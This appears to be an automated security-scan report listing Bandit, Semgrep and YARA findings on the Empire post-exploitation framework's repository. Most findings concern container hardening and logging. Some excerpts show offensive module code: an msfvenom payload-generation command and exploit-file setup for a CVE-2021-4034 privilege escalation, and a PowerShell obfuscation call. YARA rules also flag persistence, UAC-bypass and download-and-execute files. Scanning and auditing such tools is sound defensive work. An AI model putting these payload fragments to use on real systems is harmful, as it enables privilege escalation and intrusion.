132 f'{data_util.get_powershell_name()} -C \'$ErrorActionPreference = "SilentlyContinue";Import-Module {install_path}/data/Invoke-Obfuscation/Invoke-Obfuscation.psd1;Invoke-Obfuscation -ScriptPath {toObfuscateFile.name} -Command "{self._convert_obfuscation_command(obfuscation_command)}" -Quiet | Out-File -Encoding ASCII {obfuscatedFile.name}\'', 133 shell=True, 134 timeout=timeout, 135 check=False, 136 start_new_session=True, 137 capture_output=True, 138 ) 139 except subprocess.TimeoutExpired: 140 log.exception( 141 "Obfuscation subprocess timed out after %ds. " -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 865
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
864 cmd = 'ps %s' % (os.getpid()) 865 ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 866 out, err = ps.communicate() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/python/privesc/multi/CVE-2021-4034.py line 39
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
38 command = f"msfvenom -p linux/x64/exec CMD='{launcher}' -f elf-so PrependSetuid=true | base64" 39 output = subprocess.check_output(command, shell=True) 40 output = output.replace(b"\n", b"") -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Dockerfile line 103
- Likely real
- Probably noise, 22% confidence
By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.
CMD ["-f", "server"] -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Dockerfile line 102
- Likely real
- Probably noise, 22% confidence
By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.
ENTRYPOINT ["./ps-empire"] -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/situational_awareness/LinPEAS.py
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/x64_slim.dll
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/x86_slim.dll
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/ReflectivePick_x86_orig.dll
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/misc/ReflectivePick_x64_orig.dll
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_malleable/listener.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/situational_awareness/LinPEAS.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/stagers/osx/macro.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/stagers/multi/macro.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/code_execution/invoke_script.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/agent/ironpython_agent.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/agent/agent.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/persistence/osx/LaunchAgent.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_foreign/listener.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/smb/smb.py.j2
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/smb/listener.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http/listener.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/port_forward_pivot/listener.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_hop/listener.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/privesc/linux/unix_privesc_check.yaml
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /CHANGELOG.md
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/stagers/multi/macro.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/situational_awareness/LinPEAS.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_malleable/listener.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/code_execution/invoke_script.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_hop/listener.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/port_forward_pivot/listener.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_malleable/http_malleable.py.j2
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http/listener.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /setup/install.sh
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/core/config/data_manager.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/core/stager_generation_service.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_foreign/listener.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/smb/smb.py.j2
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/smb/listener.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http/http.py.j2
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/situational_awareness/LinPEAS.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/management/MailRaider.ps1
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/persistence/Persistence.psm1
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/credentials/Invoke-SessionGopher.ps1
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/privesc/Invoke-EventVwrBypass.ps1
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/privesc/Invoke-SDCLTBypass.ps1
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/privesc/Invoke-FodHelperBypass.ps1
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/privesc/Invoke-EnvBypass.ps1
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/privesc/linuxprivchecker.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/powershell/management/impair_history_logging.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/powershell/management/disable_firewall.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/powershell/persistence/elevated/hidden_user.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /setup/install.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/privesc/multi/bashdoor.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/privesc/multi/bashdoor.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/persistence/osx/LaunchAgent.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/persistence/osx/LaunchAgent.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/persistence/multi/crontab.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/privesc/linux/unix_privesc_check.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/powershell/management/masquerade_location.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/docker-compose.yml line 5
- Likely real
- Yes, 100% confidence
Service 'test' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.
test: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 10
- Likely real
- Yes, 100% confidence
Service 'ubuntu2204' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.
ubuntu2204: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 17
- Likely real
- Yes, 100% confidence
Service 'ubuntu2404' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.
ubuntu2404: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 24
- Likely real
- Yes, 100% confidence
Service 'debian12' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.
debian12: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 31
- Likely real
- Yes, 100% confidence
Service 'debian13' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.
debian13: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 45
- Likely real
- Yes, 100% confidence
Service 'parrotrolling' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.
parrotrolling: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 38
- Likely real
- Yes, 100% confidence
Service 'kalirolling' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.
kalirolling: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/docker-compose.yml line 27
- Likely real
- Yes, 100% confidence
Service 'db' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.
db: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/api/jwt_auth.py line 109
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret "Failed to generate password hash. Verify that OpenSSL supports %s " "and that os.urandom is available." being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
log.exception( "Failed to generate password hash. Verify that OpenSSL supports %s " "and that os.urandom is available.", PBKDF2_HASH_ALGO, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/agent_communication_service.py line 115
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret "credential parser %s raised on task output" being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
log.exception( "credential parser %s raised on task output", parser.__class__.__name__, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/agent_communication_service.py line 122
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret "credential parser %s returned %s; expected list — skipping" being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
log.error( "credential parser %s returned %s; expected list — skipping", parser.__class__.__name__, type(parsed).__name__, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/agent_communication_service.py line 140
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret "credential_service raised persisting %s row for %s — " "aborting remainder of this batch" being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
log.exception( "credential_service raised persisting %s row for %s — " "aborting remainder of this batch", req.credtype, req.username, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/agent_communication_service.py line 148
- Likely real
- Yes, 100% confidence
Detected a python logger call with a potential hardcoded secret "credential_service.create_credential rejected %s row: %s" being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging sensitive information.
log.warning( "credential_service.create_credential rejected %s row: %s", req.credtype, err, ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 45
- Likely real
- Yes, 100% confidence
Service 'parrotrolling' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.
parrotrolling: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/misc/apptemplateResources/x64/launcher.app/Contents/Info.plist line 3
- Likely real
- Yes, 100% confidence
The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface.
<plist version="1.0"> <dict> <key>BuildMachineOSBuild</key> <string>15G31</string> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleExecutable</key> <string>launcher</string> <key>CFBundleIdentifier</key> <string>com.apple.launcher</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>launcher</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>CFBundleShortVersionString</key> <string>1.0</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleSupportedPlatforms</key> <array> <string>MacOSX</string> </array> <key>CFBundleVersion</key> <string>1</string> <key>DTCompiler</key> <string>com.apple.compilers.llvm.clang.1_0</string> <key>DTPlatformBuild</key> <string>7D1014</string> <key>DTPlatformVersion</key> <string>GM</string> <key>DTSDKBuild</key> <string>15E60</string> <key>DTSDKName</key> <string>macosx10.11</string> <key>DTXcode</key> <string>0731</string> <key>DTXcodeBuild</key> <string>7D1014</string> <key>LSMinimumSystemVersion</key> <string>10.11</string> <key>LSUIElement</key> <true/> <key>NSHumanReadableCopyright</key> <string>Copyright © 2016 Apple. All rights reserved.</string> <key>NSMainNibFile</key> <string>MainMenu</string> <key>NSPrincipalClass</key> <string>NSApplication</string> </dict> </plist> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/misc/apptemplateResources/x86/launcher.app/Contents/Info.plist line 3
- Likely real
- Yes, 100% confidence
The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface.
<plist version="1.0"> <dict> <key>BuildMachineOSBuild</key> <string>15G31</string> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleExecutable</key> <string>launcher</string> <key>CFBundleIdentifier</key> <string>com.apple.launcher</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>launcher</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>CFBundleShortVersionString</key> <string>1.0</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleSupportedPlatforms</key> <array> <string>MacOSX</string> </array> <key>CFBundleVersion</key> <string>1</string> <key>DTCompiler</key> <string>com.apple.compilers.llvm.clang.1_0</string> <key>DTPlatformBuild</key> <string>7D1014</string> <key>DTPlatformVersion</key> <string>GM</string> <key>DTSDKBuild</key> <string>15E60</string> <key>DTSDKName</key> <string>macosx10.11</string> <key>DTXcode</key> <string>0731</string> <key>DTXcodeBuild</key> <string>7D1014</string> <key>LSMinimumSystemVersion</key> <string>10.11</string> <key>LSUIElement</key> <true/> <key>NSHumanReadableCopyright</key> <string>Copyright © 2016 Apple. All rights reserved.</string> <key>NSMainNibFile</key> <string>MainMenu</string> <key>NSPrincipalClass</key> <string>NSApplication</string> </dict> </plist> -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/management/socks.py line 452
- Likely real
- Yes, 100% confidence
'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.
s = ssl.wrap_socket(s) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-4034.py line 47
- Likely real
- Yes, 100% confidence
These permissions `0o0755` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.
os.chmod('payload.so', 0o0755) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-4034.py line 65
- Likely real
- Yes, 100% confidence
These permissions `0o0755` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.
os.chmod('GCONV_PATH=./exploit', 0o0755) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/docker-compose.yml line 5
- Likely real
- Yes, 99% confidence
Service 'test' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.
test: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 10
- Likely real
- Yes, 99% confidence
Service 'ubuntu2204' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.
ubuntu2204: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 17
- Likely real
- Yes, 99% confidence
Service 'ubuntu2404' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.
ubuntu2404: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 24
- Likely real
- Yes, 99% confidence
Service 'debian12' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.
debian12: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 31
- Likely real
- Yes, 99% confidence
Service 'debian13' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.
debian13: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/docker-compose-install-tests.yml line 38
- Likely real
- Yes, 99% confidence
Service 'kalirolling' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.
kalirolling: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/docker-compose.yml line 27
- Likely real
- Yes, 99% confidence
Service 'db' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.
db: -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/install_tests/InstallTest.Dockerfile line 18
- Likely real
- Yes, 99% confidence
Avoid using sudo in Dockerfiles. Running processes as a non-root user can help reduce the potential impact of configuration errors and security vulnerabilities.
RUN ssh-keyscan -H github.com | sudo tee -a /etc/ssh/ssh_known_hosts > /dev/null -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/dependabot.yml line 3
- Likely real
- Yes, 99% confidence
This Dependabot configuration does not set a cooldown period. Newly published packages can be malicious or unstable. Add a `cooldown` block with `default-days: 7` to each `package-ecosystem` entry under `updates` to wait 7 days before proposing updates to newly published package versions. Reference: https://docs.github.com/en/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#cooldown
- package-ecosystem: "github-actions" directory: "/" schedule: interval: "weekly" target-branch: "private-main" -
- Engine
